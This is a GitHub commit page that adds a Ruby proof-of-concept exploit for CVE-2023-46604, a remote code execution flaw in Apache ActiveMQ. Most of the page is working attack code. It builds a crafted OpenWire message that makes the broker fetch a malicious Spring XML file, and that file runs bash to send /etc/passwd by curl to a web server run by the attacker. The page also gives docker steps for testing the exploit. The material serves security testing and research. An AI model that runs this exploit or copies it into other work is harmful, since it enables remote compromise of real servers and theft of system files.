Skip to content

Commit

Permalink
POC exploit for CVE-2023-46604
Browse files Browse the repository at this point in the history
Closes #7
  • Loading branch information
flavorjones committed May 4, 2024
1 parent 93977df commit da7b79b
Showing 1 changed file with 208 additions and 0 deletions.
208 changes: 208 additions & 0 deletions exploits/activemq/CVE-2023-46604.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,208 @@
#!/usr/bin/env -S ronin-exploits run -f

require "ronin/exploits/exploit"
require "ronin/exploits/mixins/remote_tcp"

require "webrick"

# :markup: markdown
#
# This exploit is based on an examination the following prior art:
#
# - https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604
# - https://github.com/Mudoleto/Broker_ApacheMQ
# - https://github.com/dcm2406/CVE-2023-46604
# - https://github.com/mrpentst/CVE-2023-46604
#
# The exploit has two steps:
#
# 1. send a crafted OpenWire message to the ActiveMQ server, which will cause the server to connect
# to a URL that may contain a malicious XML payload
# 2. serve a malicious XML payload that will cause the server to execute arbitrary shell commands
#
#
# ## Verification
#
# To verify against a vulnerable docker image:
#
# docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.2
# exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616
#
# against a not-vulnerable docker image:
#
# docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.3
# exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616
#
# You can read more about that docker container at https://github.com/veita/cont-test-activemq
#
#
# ## Implementation details
#
# For details on OpenWire wire format see:
#
# - https://activemq.apache.org/components/classic/documentation/openwire-version-2-specification
# - https://github.com/apache/activemq-openwire
#
module Ronin
module Exploits
class Cve202346604 < Exploit

include Mixins::RemoteTCP

register "CVE-2023-46604"

quality :poc
release_date "2024-05-03"
disclosure_date "2023-10-27"
advisory "CVE-2023-46604"

author "Mike Dalessio", email: "mike.dalessio@gmail.com"
summary "Remote code execution in Apache ActiveMQ <5.15.16, <5.16.7, <5.17.6, <5.18.3"
description <<~DESC
The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This
vulnerability may allow a remote attacker with network access to either a Java-based
OpenWire broker or client to run arbitrary shell commands by manipulating serialized class
types in the OpenWire protocol to cause either the client or the broker (respectively) to
instantiate any class on the classpath. Users are recommended to upgrade both brokers and
clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.
DESC
references [
"https://nvd.nist.gov/vuln/detail/CVE-2023-46604",
]

#
# Test whether the target system is vulnerable.
#
def test
wireformat_message = nil
tcp_connect do |socket|
socket.close_write
wireformat_message = socket.read
end

version = OpenWireReader.pluck_provider_version(wireformat_message)
return Unknown("host is not reporting a provider version") if version.nil?

version = Gem::Version.new(version)
if (version < Gem::Version.new("5.15.16") && version >= Gem::Version.new("5.15.0")) ||
(version < Gem::Version.new("5.16.7") && version >= Gem::Version.new("5.16.0")) ||
(version < Gem::Version.new("5.17.6") && version >= Gem::Version.new("5.17.0")) ||
(version < Gem::Version.new("5.18.3") && version >= Gem::Version.new("5.18.0"))
return Vulnerable("host is vulnerable to CVE-2023-46604")
else
return NotVulnerable("host is not vulnerable to CVE-2023-46604")
end
end

param :port,
type: Integer, default: 61616,
desc: "The ActiveMQ OpenWire port to connect to"
param :web_host,
type: String, default: "localhost",
desc: "A routable hostname for the exploit runner's web server"
param :web_port,
type: Integer, default: 1024 + rand(65535 - 1024),
desc: "A listen port for the exploit runner's web server"

JAVA_CLASSNAME = "org.springframework.context.support.ClassPathXmlApplicationContext"

def build
@web_host = params[:web_host]
@web_port = params[:web_port]
@web_url = "http://#{@web_host}:#{@web_port}"

# see
@buffer = IO::Buffer.new
@buffer.set_value(:U8, 4, 0x1f) # EXCEPTION_RESPONSE
@buffer.set_value(:U8, 14, 0x01)

cursor = 15
@buffer.set_value(:U8, cursor, 0x01) ; cursor += 1
@buffer.set_value(:U16, cursor, JAVA_CLASSNAME.length) ; cursor += 2
@buffer.set_string(JAVA_CLASSNAME, cursor); cursor += JAVA_CLASSNAME.length

@buffer.set_value(:U8, cursor, 0x01) ; cursor += 1
@buffer.set_value(:U16, cursor, @web_url.length) ; cursor += 2
@buffer.set_string(@web_url, cursor) ; cursor += @web_url.length

@buffer.resize(cursor)
@buffer.set_value(:U32, 0, cursor-4)

# used in the second phase of the exploit
@injection = <<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>cat /etc/passwd | curl --data-binary @- #{@web_url}/post</value>
</list>
</constructor-arg>
</bean>
</beans>
XML
end

def launch
queue = Thread::Queue.new

server = WEBrick::HTTPServer.new(
Port: @web_port,
Logger: WEBrick::Log.new("/dev/null"),
AccessLog: []
)

server.mount_proc("/") do |req, res|
res.body = @injection
queue.push(:get)
end

server.mount_proc("/post") do |req, res|
puts "Received RCE exfiltration from #{params[:host]}:#{params[:port]} ..."
puts req.body
queue.push(:post)
end

@server_thread = Thread.new { server.start }

tcp_send(@buffer.get_string)

queue.pop # :get
queue.pop # :get
queue.pop # :post
end

def cleanup
@server_thread&.kill
end

class OpenWireReader
PROVIDER_VERSION = "ProviderVersion"
STRING_TYPE = 9

# we're taking the easy way out by not parsing the whole message, just finding the
# "ProviderVersion" property and pulling it out of the message.
def self.pluck_provider_version(message)
puts message.to_hexdump

property_index = message.index(PROVIDER_VERSION)
return nil if property_index.nil?

cursor = property_index + PROVIDER_VERSION.length

ptype = message.unpack1("C", offset: cursor) ; cursor += 1
raise "unknown primitive type #{ptype}, expected #{STRING_TYPE}" if ptype != STRING_TYPE

plen = message.unpack1("n", offset: cursor) ; cursor += 2
raise "unexpected string len #{plen}" if plen <= 0

message[cursor, plen]
end
end
end
end
end

0 comments on commit da7b79b

Please sign in to comment.